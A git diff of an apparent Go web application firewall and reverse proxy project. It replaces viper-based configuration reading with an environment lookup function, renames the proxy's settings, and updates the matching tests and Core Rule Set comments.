|
||||
@@ -38,8 +36,6 @@ var (
|
||||
errNotSize = errors.New(
|
||||
"is not a size such as 512K, 100M or 5G, or off")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errEmptyItem = errors.New("has an empty item in its list")
|
||||
errNotNetblock = errors.New(
|
||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||
@@ -52,8 +48,8 @@ var (
|
||||
// Command reads only SWW_COMMAND, the command the image runs and its
|
||||
// health check checks: rproxy when it is unset or empty, or waf. It cannot
|
||||
// be given as a file. Any other value is an error that names the setting.
|
||||
func Command(v *viper.Viper) (string, error) {
|
||||
command, _ := readSetting(v, "SWW_COMMAND")
|
||||
func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
command, _ := lookupEnv("SWW_COMMAND")
|
||||
|
||||
switch command {
|
||||
case "", "rproxy":
|
||||
@@ -65,27 +61,14 @@ func Command(v *viper.Viper) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read
|
||||
// the settings: it notes each
|
||||
// value for the log, and keeps the first error. It reads every setting
|
||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||
// form too.
|
||||
// environment is where FromEnvironment reads the settings: it notes each
|
||||
// value for the log, and keeps the first error.
|
||||
type environment struct {
|
||||
v *viper.Viper
|
||||
lookupEnv func(string) (string, bool)
|
||||
settings []slog.Attr
|
||||
err error
|
||||
}
|
||||
|
||||
// readSetting returns a setting's value and whether it is set, reading it
|
||||
// through v.
|
||||
func readSetting(v *viper.Viper, name string) (string, bool) {
|
||||
if !v.IsSet(name) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
return v.GetString(name), true
|
||||
}
|
||||
|
||||
// value returns a setting's value, or its default when it is not set,
|
||||
// and notes it for the log.
|
||||
func (e *environment) value(name, defaultValue string) string {
|
||||
@@ -104,10 +87,10 @@ func (e *environment) value(name, defaultValue string) string {
|
||||
// names, less one newline at their end. It notes that file's path for the
|
||||
// log. Both variables set, or a file that cannot be read, is an error.
|
||||
func (e *environment) lookup(name string) (string, bool) {
|
||||
value, set := readSetting(e.v, name)
|
||||
value, set := e.lookupEnv(name)
|
||||
fileName := name + "_FILE"
|
||||
|
||||
path, inFile := readSetting(e.v, fileName)
|
||||
path, inFile := e.lookupEnv(fileName)
|
||||
if !inFile {
|
||||
return value, set
|
||||
}
|
||||
@@ -166,19 +149,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
||||
return size
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||
// powers of 1024 (1K is 1024 bytes), or off.
|
||||
func parseSize(value string) (int64, error) {
|
||||
@@ -215,17 +185,6 @@ func splitUnit(value string) (string, int64) {
|
||||
}
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseList splits a comma-separated list and trims the spaces around
|
||||
// each item. An empty value is an empty list.
|
||||
func parseList(value string) ([]string, error) {
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
// Package configtest gives the tests of the packages that read settings the
|
||||
// settings they choose.
|
||||
package configtest
|
||||
|
||||
import "github.com/spf13/viper"
|
||||
|
||||
// Viper returns a viper holding each of settings, as the viper config.NewViper
|
||||
// returns holds a process's environment.
|
||||
func Viper(settings map[string]string) *viper.Viper {
|
||||
v := viper.New()
|
||||
for name, value := range settings {
|
||||
v.Set(name, value)
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
+84
-48
@@ -4,44 +4,42 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"math"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
|
||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||
// is off.
|
||||
type RProxy struct {
|
||||
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
|
||||
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
|
||||
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
||||
UpstreamURL *url.URL
|
||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||
// (SWW_RPROXY_TRUSTED_PROXIES).
|
||||
// (SWRP_TRUSTED_PROXIES).
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
||||
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
|
||||
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
|
||||
// cannot be off.
|
||||
WAFBackendTimeout time.Duration
|
||||
// WAFBackendNoAnswerDisposition is what is done with a request when waf
|
||||
// cannot be connected to, does not answer at all, or does not answer
|
||||
// within WAFBackendTimeout: allow or deny
|
||||
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
|
||||
WAFBackendNoAnswerDisposition string
|
||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when waf cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
||||
MaxRequestSize int64
|
||||
MaxResponseSize int64
|
||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||
// line and headers, and then, from their end, its body on its way to the
|
||||
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||
// the end of the request to its last byte reaching the visitor
|
||||
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
|
||||
// (SWRP_MAX_RESPONSE_TIME_MS).
|
||||
MaxRequestTime time.Duration
|
||||
MaxResponseTime time.Duration
|
||||
|
||||
@@ -50,7 +48,7 @@ type RProxy struct {
|
||||
settings []slog.Attr
|
||||
}
|
||||
|
||||
// defaultUpstreamURL is the default of SWW_RPROXY_UPSTREAM_URL.
|
||||
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
||||
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||
|
||||
// privateRanges are the private address ranges, the default trusted
|
||||
@@ -64,46 +62,46 @@ var (
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is waf's URL, such as http://waf:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotMillisecondsOrOff = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||
)
|
||||
)
|
||||
|
||||
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
|
||||
// NewViper returns, bound to the process's environment. A setting that is not
|
||||
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
|
||||
// set. A setting may instead be given as a file: the variable named by the
|
||||
// setting's name with _FILE added names the file, which is read now. A setting
|
||||
// that is set but invalid is an error that names it.
|
||||
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||
env := &environment{v: v}
|
||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||
// os.LookupEnv. A setting that is not set takes its default, and
|
||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||
// settings have no _FILE form.
|
||||
func RProxyFromEnvironment(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) (*RProxy, error) {
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
cfg := &RProxy{
|
||||
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
|
||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||
UpstreamURL: env.appURL(
|
||||
"SWW_RPROXY_UPSTREAM_URL",
|
||||
"SWRP_UPSTREAM_URL",
|
||||
defaultUpstreamURL,
|
||||
),
|
||||
TrustedProxies: env.netblocks(
|
||||
"SWW_RPROXY_TRUSTED_PROXIES",
|
||||
"SWRP_TRUSTED_PROXIES",
|
||||
privateRanges,
|
||||
),
|
||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||
WAFBackendTimeout: env.milliseconds(
|
||||
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
|
||||
"2000",
|
||||
),
|
||||
WAFBackendNoAnswerDisposition: env.disposition(
|
||||
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
|
||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||
DefaultDisposition: env.disposition(
|
||||
"SWRP_DEFAULT_DISPOSITION",
|
||||
"allow",
|
||||
),
|
||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
|
||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||
MaxRequestTime: env.millisecondsOrOff(
|
||||
"SWW_RPROXY_MAX_REQUEST_TIME_MS",
|
||||
"SWRP_MAX_REQUEST_TIME_MS",
|
||||
"60000",
|
||||
),
|
||||
MaxResponseTime: env.millisecondsOrOff(
|
||||
"SWW_RPROXY_MAX_RESPONSE_TIME_MS",
|
||||
"SWRP_MAX_RESPONSE_TIME_MS",
|
||||
"1800000",
|
||||
),
|
||||
}
|
||||
@@ -117,15 +115,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
|
||||
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
||||
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||
// setting, so it reads no other.
|
||||
func RProxyListenAddrAndUpstreamURL(
|
||||
v *viper.Viper,
|
||||
lookupEnv func(string) (string, bool),
|
||||
) (string, *url.URL, error) {
|
||||
env := &environment{v: v}
|
||||
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
|
||||
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
||||
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
||||
|
||||
if env.err != nil {
|
||||
return "", nil, env.err
|
||||
@@ -134,6 +132,20 @@ func RProxyListenAddrAndUpstreamURL(
|
||||
return listenAddr, upstreamURL, nil
|
||||
}
|
||||
|
||||
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
||||
// rproxy never touches disk.
|
||||
func withoutFileForms(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) func(string) (string, bool) {
|
||||
return func(name string) (string, bool) {
|
||||
if strings.HasSuffix(name, "_FILE") {
|
||||
return "", false
|
||||
}
|
||||
|
||||
return lookupEnv(name)
|
||||
}
|
||||
}
|
||||
|
||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||
// given, or its default.
|
||||
func (c *RProxy) LogValue() slog.Value {
|
||||
@@ -175,6 +187,19 @@ func (e *environment) disposition(name, defaultValue string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||
// above zero, or off, which is 0.
|
||||
func (e *environment) millisecondsOrOff(
|
||||
@@ -193,6 +218,17 @@ func (e *environment) millisecondsOrOff(
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||
// optional port from 1 to 65535, and nothing else, since the request's
|
||||
// own path and query go to the app unchanged.
|
||||
|
||||
@@ -10,30 +10,33 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
)
|
||||
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
wafBackend = "SWRP_WAF_BACKEND"
|
||||
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
||||
rproxyListen = "SWRP_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://waf:8080"
|
||||
rproxyNoAnswerAddr = ":8080"
|
||||
rproxyNoAnswerApp = "http://127.0.0.1:8081"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
)
|
||||
|
||||
// rproxyConfig reads rproxy's settings from env.
|
||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||
return config.RProxyFromEnvironment(configtest.Viper(env))
|
||||
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
}
|
||||
|
||||
func TestRProxyDefaults(t *testing.T) {
|
||||
@@ -44,8 +47,8 @@ func TestRProxyDefaults(t *testing.T) {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if cfg.ListenAddr != rproxyNoAnswerAddr ||
|
||||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
|
||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||
cfg.WAFBackend.String() != backendURL {
|
||||
t.Errorf(
|
||||
"addresses %q, %v, %v",
|
||||
@@ -55,12 +58,11 @@ func TestRProxyDefaults(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
if cfg.WAFBackendTimeout != 2*time.Second ||
|
||||
cfg.WAFBackendNoAnswerDisposition != "allow" {
|
||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||
t.Errorf(
|
||||
"waf backend timeout %v, no-answer disposition %q",
|
||||
cfg.WAFBackendTimeout,
|
||||
cfg.WAFBackendNoAnswerDisposition,
|
||||
"timeout %v, default disposition %q",
|
||||
cfg.Timeout,
|
||||
cfg.DefaultDisposition,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -91,8 +93,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
wafBackendTimeout: "150",
|
||||
rproxyNoAnswer: "deny",
|
||||
rproxyTimeout: "150",
|
||||
rproxyDefault: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
rproxyRequestTime: off,
|
||||
@@ -108,8 +110,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
t.Errorf("addresses %+v", cfg)
|
||||
}
|
||||
|
||||
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
|
||||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
|
||||
if cfg.Timeout != 150*time.Millisecond ||
|
||||
cfg.DefaultDisposition != "deny" ||
|
||||
cfg.MaxRequestSize != 1024 ||
|
||||
cfg.MaxResponseSize != 0 ||
|
||||
cfg.MaxRequestTime != 0 ||
|
||||
@@ -127,13 +129,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{wafBackendTimeout, "0"},
|
||||
{wafBackendTimeout, "-1"},
|
||||
{wafBackendTimeout, off},
|
||||
{wafBackendTimeout, "2s"},
|
||||
{wafBackendTimeout, "1.25"},
|
||||
{wafBackendTimeout, "99999999999999999"},
|
||||
{rproxyNoAnswer, "maybe"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{rproxyDefault, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
{rproxyUpstream, "127.0.0.1:8081"},
|
||||
@@ -193,41 +195,32 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxySettingReadFromFile(t *testing.T) {
|
||||
func TestRProxyReadsNoFile(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "backend")
|
||||
|
||||
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
|
||||
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
||||
if err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||
if err == nil ||
|
||||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||
}
|
||||
|
||||
if cfg.WAFBackend.String() != backendURL {
|
||||
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := t.TempDir()
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
cfg, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
wafBackendTimeout + "_FILE": path,
|
||||
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
||||
})
|
||||
|
||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v, with the file left unread", err)
|
||||
}
|
||||
|
||||
if cfg.Timeout != 2*time.Second {
|
||||
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -247,8 +240,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||
rproxyNoAnswer,
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
if !slices.Contains(names, name) {
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
package config
|
||||
|
||||
import "github.com/spf13/viper"
|
||||
|
||||
// NewViper returns the viper that reads the settings: each setting's
|
||||
// environment variable, bound to its own name. Every setting of waf
|
||||
// and rproxy is read through it, and none is read with os.Getenv or
|
||||
// os.LookupEnv outside it. An environment variable that is set but empty is
|
||||
// set, as one that holds a value is, which viper does not take for granted.
|
||||
func NewViper() *viper.Viper {
|
||||
v := viper.New()
|
||||
v.AutomaticEnv()
|
||||
v.AllowEmptyEnv(true)
|
||||
|
||||
return v
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package config_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// These tests set real environment variables, so none runs in parallel.
|
||||
|
||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||
t.Setenv(adminToken, "")
|
||||
|
||||
_, err := config.WAFFromEnvironment(config.NewViper())
|
||||
|
||||
want := adminToken + ": is shorter than 32 characters"
|
||||
if err == nil || err.Error() != want {
|
||||
t.Fatalf("error %v, want %s", err, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
|
||||
t.Setenv(wafBackend, backendURL)
|
||||
t.Setenv(rproxyTrusted, "")
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(config.NewViper())
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if len(cfg.TrustedProxies) != 0 {
|
||||
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
||||
}
|
||||
}
|
||||
+373
-452
File diff suppressed because it is too large.
Load diff
+422
-475
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,9 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
|
||||
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
|
||||
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
|
||||
// detection" under "Settings" in SPEC.md describes them. It reads no response.
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
|
||||
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||
// in SPEC.md describes them. It reads no response.
|
||||
//
|
||||
// sww writes only to its state directory, so Coraza is built with
|
||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||
@@ -34,16 +34,16 @@ import (
|
||||
|
||||
// directives are the Core Rule Set as sww runs it, with the
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
|
||||
// the second, and the directives of every app in apps for the third.
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
||||
// directives of every app in apps for the third.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||
// without the spaces at the start of the next.
|
||||
const directives = `
|
||||
# The engine only detects. sww compares the request's anomaly
|
||||
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
|
||||
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||
SecRuleEngine DetectionOnly
|
||||
SecRequestBodyAccess Off
|
||||
@@ -188,7 +188,7 @@ var forgejoDirectives string
|
||||
//go:embed ghost.conf
|
||||
var ghostDirectives string
|
||||
|
||||
// apps are the apps whose fixes sww has, by the name SWW_WAF_APPS gives each.
|
||||
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
||||
// flash is Forgejo's name for gitea_flash.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a map
|
||||
@@ -219,21 +219,20 @@ func AppNames() []string {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
|
||||
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
||||
ParanoiaLevel int
|
||||
// DisabledRules are the ids of the rules switched off
|
||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||
// (SWW_WAF_DISABLED_RULES).
|
||||
DisabledRules []int
|
||||
// BodyInspectionSize is the most of a request body the Core Rule Set
|
||||
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
|
||||
// and it reads none.
|
||||
BodyInspectionSize int64
|
||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
BodyLimit int64
|
||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// there is none.
|
||||
ExclusionsFile string
|
||||
// Apps are the names of the apps each hostname serves, by hostname in
|
||||
// lowercase (SWW_WAF_APPS). A request gets only the fixes of its hostname's
|
||||
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
|
||||
// apps and of the apps they are forks of, or of every app while Apps is
|
||||
// nil.
|
||||
Apps map[string][]string
|
||||
@@ -261,7 +260,7 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
||||
// the directive finds none of them.
|
||||
var errChangesNoRule = errors.New(
|
||||
"the Core Rule Set's rules load after the file; " +
|
||||
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
|
||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||
"with a ctl exclusion",
|
||||
)
|
||||
|
||||
@@ -338,22 +337,22 @@ func checkExclusions(exclusions string) error {
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyInspectionSize int64
|
||||
bodyLimit int64
|
||||
// appsByHostname are the names of the apps each hostname serves, by
|
||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||
